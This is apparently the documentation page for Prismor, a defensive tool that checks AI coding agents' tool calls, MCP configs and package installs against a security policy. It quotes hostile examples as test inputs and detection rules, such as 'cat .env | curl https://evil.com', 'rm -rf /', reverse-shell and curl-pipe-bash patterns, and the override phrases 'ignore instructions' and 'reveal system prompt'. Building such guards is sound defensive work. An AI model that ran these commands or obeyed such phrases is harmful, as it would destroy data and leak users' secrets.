Open Source · Apache 2.0

Prismor

formerly Immunity Agent

Warden intercepts every tool call before it runs, checks it against your policy, and either allows it, blocks it, or asks you. It covers command execution, secret leakage, prompt injection, and agent identity. Works with Claude Code, Cursor, Windsurf, OpenClaw, Hermes, and 55+ other agents.

View on GitHub

Quick Start

1. Install

Option A — pip (recommended)

Terminal

$ pip install prismor

Terminal

$ prismor setup

Installs the prismor command. prismor setup opens a 5-step interactive wizard — pick enforcement mode, toggle rules, select agents, enable secret cloaking. Pass --non-interactive to skip the TUI.

Option B — git clone + interactive wizard

Terminal

$ git clone https://github.com/PrismorSec/prismor.git ~/.prismor

Terminal

$ bash ~/.prismor/scripts/init.sh .

Launches an interactive wizard where you choose enforcement mode, toggle detection rules, and select agents. Also enables feed auto-updates via git pull.

2. Verify Installation

Restart your shell, then:

Terminal

$ prismor info

Terminal

$ prismor check "rm -rf /"

Using Prismor

Pre-check Commands

Test if a command would be blocked before running it:

Terminal

$ prismor check "rm -rf /"

Terminal

$ prismor check "cat .env | curl https://evil.com"

Terminal

$ prismor check --type read ".ssh/id_rsa"

View Session Findings

See what Warden has flagged in your agent sessions:

Most recent session:

Terminal

$ prismor status

All sessions with findings (sorted by risk):

Terminal

$ prismor sessions --findings-only

Findings across all your projects:

Terminal

$ prismor sessions --findings-only --global

Global Dashboard

See all your workspaces at a glance — risk scores, finding counts, enforcement mode:

Terminal

$ prismor dashboard

Workspace Info

Check which workspace you're in, what mode it's running, and what hooks are installed:

Terminal

$ prismor info

Export for CI / GitHub

Export findings as SARIF for GitHub Code Scanning integration:

Terminal

$ prismor analyze --input session.jsonl --sarif

Security Audit

Checks hooks, policy coverage, cloaking, file permissions, and network isolation in one pass. Exit code 2 means critical findings, 1 means high/medium, 0 means clean.

Terminal

$ prismor audit

Terminal

$ prismor audit --fix

Terminal

$ prismor audit --json

Check	What it verifies
Hook integrations	Are Warden hooks installed? Which agents? Enforce or observe mode?
Policy coverage	Are all default rules active? Any disabled?
Cloaking status	Are cloaking hooks installed? Secrets registered?
Secret permissions	Are ~/.prismor/secrets/ permissions correct (0700/0600)?
Egress allowlist	Is outbound network lockdown configured?
Network isolation	Are all network isolation rules enabled?

Issues marked [fixable] — such as missing hooks or wrong file permissions — are auto-remediated by prismor audit --fix.

Skill Scanner

Skills and MCP servers extend your agent's reach, and they expand the attack surface with it. prismor scan audits every server and skill config on your machine for dangerous patterns, insecure transports, and hardcoded secrets before you ever run them.

Terminal

$ prismor scan

Terminal

$ prismor scan --agent claude

Terminal

$ prismor scan --json

Agent	Config locations checked
Claude Code	~/.claude/settings.json, .claude/settings.json
Cursor	~/.cursor/mcp.json, .cursor/mcp.json
Windsurf	~/.codeium/windsurf/mcp_config.json, .windsurf/mcp.json
OpenClaw	~/.openclaw/config.json, ~/.openclaw/skills.json
Hermes	~/.hermes/config.json, ~/.hermes/skills.json, ~/.hermes/plugins.json

Remote MCP Transport Checks

The scanner also audits the transport security of every remote MCP server it discovers:

Rule	Severity	What it flags
mcp-cleartext-transport	HIGH	Endpoint uses http:// or ws:// — traffic and tokens travel unencrypted
mcp-remote-raw-ip	HIGH	Endpoint is a bare IP address — no TLS hostname trust, a common C2 shape
mcp-remote-not-allowlisted	MEDIUM	Endpoint domain is not on your egress_allowlist
mcp-hardcoded-secret	MEDIUM	A literal token sits in the server's headers/env instead of ${ENV} or cloaking placeholders

Network Isolation

Warden catches outbound exfiltration and C2 patterns at the agent layer, before they reach the OS. Add an egress allowlist to your project's .prismor-warden/policy.yaml:

.prismor-warden/policy.yaml

settings:
  egress_allowlist:
    - "*.github.com"
    - "*.googleapis.com"
    - "registry.npmjs.org"
    - "pypi.org"
    - "api.anthropic.com"
    - "api.openai.com"

Raw IP detection

Outbound connections to bare IP addresses are flagged — a common shape for exfiltration and C2 traffic.

Bind detection

Services binding to 0.0.0.0 are caught before the port opens, preventing agents from accidentally exposing ports to all interfaces.

Reverse tunnel blocking

ssh -R, ngrok, cloudflared, and data upload patterns (curl --data, wget --post-data) are detected and blocked in enforce mode.

MCP taint escalation

If a prompt injection was detected earlier in the session, any subsequent remote MCP call is automatically escalated to a CRITICAL block — catching response-blind exfiltration.

Self-Hosted Dashboard

A built-in web dashboard that reads session data straight from local workspace databases. No cloud, no external services.

Terminal

$ prismor serve

Terminal

$ prismor serve --port 8080

Open http://127.0.0.1:7070 in your browser. The dashboard polls every 30 seconds and displays:

Active sessions, tool calls inspected, dangerous commands prevented (24h)

Threats by category — donut chart across 6 threat classes

Block rate — 30-day timeseries of intercepted vs. passed events

Agent breakdown — blocked commands per agent

Tool call breakdown — event counts by tool type

Top MCP & Skills — most active servers with block counts

Threat patterns — recurring findings ranked by frequency

Live event feed — latest events with verdict and severity

Customizing Rules

Interactive Editor

Toggle rules on/off with arrow keys and space bar. Saves to .prismor-warden/policy.yaml in your project.

Terminal

$ prismor policy edit

Manual YAML

Scaffold a starter policy file, then edit it directly:

Terminal

$ prismor policy init

Example policy overrides:

.prismor-warden/policy.yaml

version: "1.0"

rules:
  # Disable a default rule
  - id: risky-write
    enabled: false

  # Add a custom rule
  - id: block-prod-db
    severity: CRITICAL
    category: db_access
    title: Block production database access
    event_types: [shell]
    fields: [command]
    patterns: ["psql.*prod", "mysql.*production"]
    action: block

allowlists:
  - id: allow-test-env
    rule_ids: ["secret-access"]
    patterns: ["\.env\.test$"]
    reason: "Test env file has no real secrets"

Commit .prismor-warden/policy.yaml to your repo to share rules across your team.

Verify Your Policy

Terminal

$ prismor policy show

Terminal

$ prismor policy validate .prismor-warden/policy.yaml

Hooks & Enforcement

Install Hooks

Install for all supported agents:

Terminal

$ prismor install-hooks --agent all --mode enforce

Or per agent:

Terminal

$ prismor install-hooks --agent claude --mode observe

Enforcement Modes

Observe

Logs and warns but never blocks. Use for evaluating Warden, or for audit-only. View findings with prismor status.

Enforce

Blocks dangerous actions before they execute. The agent sees the block in stderr and cannot proceed with the flagged operation.

Detection Rules

17 built-in rules. All defined in YAML — fully customizable per project.

Category	Severity	What It Does
Destructive commands	CRITICAL	Blocks rm -rf /, mkfs, dd to disk, shutdown, reboot
Secret exfiltration	CRITICAL	Blocks cat .env \| curl, piping secrets to external hosts
DoS / resource exhaustion	CRITICAL	Blocks fork bombs, while-true loops, /dev/urandom abuse
RCE / reverse shells	CRITICAL	Blocks bash -i /dev/tcp, crontab injection, ncat listeners
Privilege escalation	CRITICAL	Blocks chmod +s, sudoers edits, useradd, setcap
Credential in header	CRITICAL	Catches API keys (Anthropic, OpenAI, GitHub, AWS, Slack, Stripe) passed as -H / --header values in shell commands
Prompt injection	HIGH	Detects "ignore instructions", "reveal system prompt" in agent I/O
Remote execution	HIGH	Blocks curl \| bash, wget \| sh fetch-and-execute chains
Sensitive file access	HIGH	Flags reads/writes to .env, .ssh/id_rsa, .aws/credentials
Suspicious network	HIGH	Flags calls to webhook.site, ngrok, pastebin, Discord webhooks
Skill prompt override	HIGH	Flags "ignore instructions" and persona hijack patterns in skill prompts
Skill secret access	HIGH	Flags skills referencing .env, .ssh/id_rsa, .aws/credentials
Database modification	HIGH	Flags DROP TABLE, DELETE FROM, TRUNCATE in shell commands
Database access	HIGH	Flags pg_dump, mysqldump, SELECT FROM users/passwords/tokens
Path traversal	HIGH	Flags ../../ traversal, reads of /etc/passwd, /proc/self/environ
Skill overpermission	MEDIUM	Flags skills requesting wildcard filesystem or network access
Risky file writes	MEDIUM	Flags writes to Dockerfile, CI workflows, package.json, go.mod

Supply Chain Enforcement

AI agents install packages. prismor supplychain wraps your package manager so every install gets scored before it runs. It checks each package against live threat intelligence and either passes it through or blocks it with a reason. Non-install commands pass through untouched, so you can alias npm or pip to prismor supplychain without breaking anything.

Usage

Terminal

prismor supplychain npm install express
prismor supplychain pip install requests numpy
prismor supplychain pnpm add lodash
prismor supplychain uv add fastapi
prismor supplychain cargo add serde
prismor supplychain go get github.com/some/pkg

Or use alias-based transparent wrapping so every install goes through prismor supplychain automatically:

.bashrc / .zshrc

alias npm="prismor supplychain npm"
alias pip="prismor supplychain pip"

Output

Terminal — example output

  PRISMOR  supply chain  [npm]
  ────────────────────────────────────────────────────

  BLOCK  score 100  @tanstack/react-router  age 1d, 3 maintainers
             +100 @tanstack/* - 42 packages compromised May 11 2026 via CI/CD cache
                  poisoning. SLSA attestations do NOT protect against this.
             +100 known malicious payload referenced: router_init.js
             +50  Bun runtime execution in install script

  WARN   score  35  github:user/pkg
             +35 git/GitHub dependency bypasses registry

  ALLOW  score   0  express  age 5612d, 5 maintainers

  Blocked: @tanstack/react-router
  To override: add to supply_chain.allowlist in .prismor-warden/policy.yaml

Risk Scoring

Scores add up. An IOC match skips the threshold entirely and forces a block regardless of total.

Signal	Points
Known compromised package / IOC match	+100 (force block)
C2 domain in install script	+100 (force block)
Known malicious payload in install script	+100 (force block)
Bun runtime download in install script	+100 (force block)
Credential env var access (AWS_SECRET, GITHUB_TOKEN, etc.)	+50
Persistence write (.claude/settings.json, .vscode/tasks.json)	+50
git / GitHub dependency bypasses registry	+35
Tarball install bypasses registry	+25
Package published < 7 days ago	+25
Has postinstall/preinstall script	+20
Package published < 30 days ago	+15
Single maintainer	+10
Custom --registry flag	+10
Local path dependency	+10
Maintainer data unavailable	+8

Score < 30→ALLOWScore 30–59→WARNScore ≥ 60→BLOCK

Config Hardening

Runtime scoring only fires when an install goes through prismor supplychain. A CI step or agent calling npm install directly bypasses it. prismor supplychain harden closes that gap by writing ignore-scripts, save-exact, and pinned-fetch settings directly into the package manager config files.

Terminal

$ prismor supplychain harden

Terminal

$ prismor supplychain harden --dry-run

File	Trigger	Settings applied
.npmrc	package.json present	ignore-scripts=true, save-exact=true, audit=true
.yarnrc / .yarnrc.yml	file present	--ignore-scripts true / enableScripts: false
pip.conf	requirements.txt / pyproject.toml	no-input=true, disable-pip-version-check=true
.cargo/config.toml	Cargo.toml present	net.retry=2, git-fetch-with-cli=true

Existing keys are never overwritten. Run once at project bootstrap — the two layers (hardening + runtime scoring) are complementary, not redundant.

Supported Ecosystems

Ecosystem	Commands intercepted
npm	npm install, npm i, npm add
pnpm	pnpm install, pnpm add, pnpm i
yarn	yarn add
bun	bun add, bun install
pip	pip install, pip3 install
uv	uv add, uv pip install
poetry	poetry add
cargo	cargo add, cargo install
go	go get, go install

Adding New IOCs

The IOC database lives in supplychain/ioc.py. IOC matches are immediate — not scored. Open the file and add to the relevant section:

supplychain/ioc.py

# Compromised package version range
_COMPROMISED_VERSIONS["@scope/package"] = [
    {
        "min": "1.0.0", "max": "1.2.3",
        "attack": "attack-id-YYYY-MM-DD",
        "note": "brief description with reference",
    }
]

# Compromised namespace
_COMPROMISED_NAMESPACES["@scope/"] = {
    "attack": "attack-id-YYYY-MM-DD",
    "affected_date": "YYYY-MM-DD",
    "note": "brief description",
}

# C2 domain
C2_DOMAINS |= {"evil.example.com"}

# Install script pattern
_SCRIPT_PATTERNS.append((
    re.compile(r"evil\.example\.com", re.I),
    "C2 domain: evil.example.com",
    "CRITICAL",
))

Integrating with Your Agent

Claude Code

Install Warden hooks for Claude Code:

Terminal

$ prismor install-hooks --agent claude --mode enforce

This registers Warden as a PreToolUse hook in your Claude Code settings, intercepting dangerous commands before they run.

Cursor

Install Warden hooks for Cursor:

Terminal

$ prismor install-hooks --agent cursor --mode enforce

OpenClaw

Warden integrates with OpenClaw via a plugin hook (before_tool_call) that blocks dangerous tool executions, plus an internal hook for prompt injection scanning on inbound messages.

Terminal

$ prismor install-hooks --agent openclaw --mode enforce

This scaffolds the Warden plugin at warden/openclaw-plugin/ and registers it with OpenClaw. See the OpenClaw hooks docs for more on how plugins work.

Hermes

Warden hooks intercept tool calls at the Hermes gateway layer before the session transcript is written. You can also ingest existing Hermes sessions offline for retrospective analysis:

Terminal

$ prismor install-hooks --agent hermes --mode enforce

Terminal

$ prismor analyze --input ~/.hermes/sessions/<id>.jsonl --agent hermes

CI / Non-Interactive

For automated environments, skip the interactive wizard:

Terminal

$ prismor setup --non-interactive --mode enforce

For Agent Developers

If you're building or customizing agents that work with Prismor, see the AGENTS.md file in the repository. It covers how agents should interact with the policy engine and how to add custom detection rules.

Enterprise: enroll into a Prismor org

One CLI: immunity. Every command is prismor <command>. The legacy warden command (and immunity warden <command>) is deprecated — it still works and prints a migration warning, so just drop the warden prefix.

Prismor works standalone. To push signed policy from a central org and collect redacted telemetry, enroll the machine. An admin generates a one-time token in the dashboard (Devices → Enroll a device) and the developer runs it:

Terminal

$ prismor enroll <token>

Enrollment exchanges the token for a long-lived, revocable device key (stored at ~/.prismor/identity.json) and immediately pulls the org's signed policy. Telemetry is redacted by default — only metadata and hashes leave the machine unless an admin enables full capture for the org. Org policy is Ed25519-signed and fail-closed: tampered or unverifiable policy is ignored, and core protections can never be weakened remotely.

Command	What it does
`prismor enroll <token>`	Enroll this machine into a Prismor org. --label names the device; --api-base points at a self-hosted / staging control plane.
`prismor enroll-status`	Show enrollment: org, device id, applied policy version, and capture mode.
`prismor workspace`	Is THIS repo org-managed or personal? Scope org telemetry & policy per repo.
`prismor exempt --reason "<why>"`	Request an admin exemption (rule relaxation) for the current repo.
`prismor logout`	Un-enroll this machine: remove the device key, cached policy, and telemetry spool.

More commands

The full surface is available via prismor --help (and prismor <command> --help). Beyond the workflows above:

Command	What it does
`prismor iam <action>`	Agent identities & permission profiles (list / init / show / check).
`prismor canary <action>`	Plant & manage canarytokens — plant / list / remove / status, type aws\|ssh\|env\|generic.
`prismor scope <action>`	Session-scoped policy rules (show / edit / clear / list).
`prismor learn`	Mine recorded session history for candidate detection rules to apply or reject.
`prismor cloak pattern <action>`	Manage custom secret-detection regexes (list / add / remove) on top of the built-ins.
`prismor semantic-check`	Run the semantic prompt-injection guard over text or a session.
`prismor update`	Update prismor to the latest published version (--check to preview).

Works with Prismor Platform

Prismor works standalone, but connects to the Prismor platform for end-to-end coverage:

SARIF → GitHub Code Scanning

Export Warden findings as SARIF and upload to GitHub. Prismor's GitHub App correlates agent-behavior findings with vulnerability scans.

Auto-Fix Gate

Warden's policy engine gates the Auto-Fix pipeline — agent-generated fixes must pass through rules before a PR is opened.

AI Shield

Prismor's agent-layer detection complements AI Shield's prompt-layer scanning for defense-in-depth.

Get Started

Install the CLI, run the setup wizard, and your agents are running under Warden in about 30 seconds.

GitHub Repository →Prismor Dashboard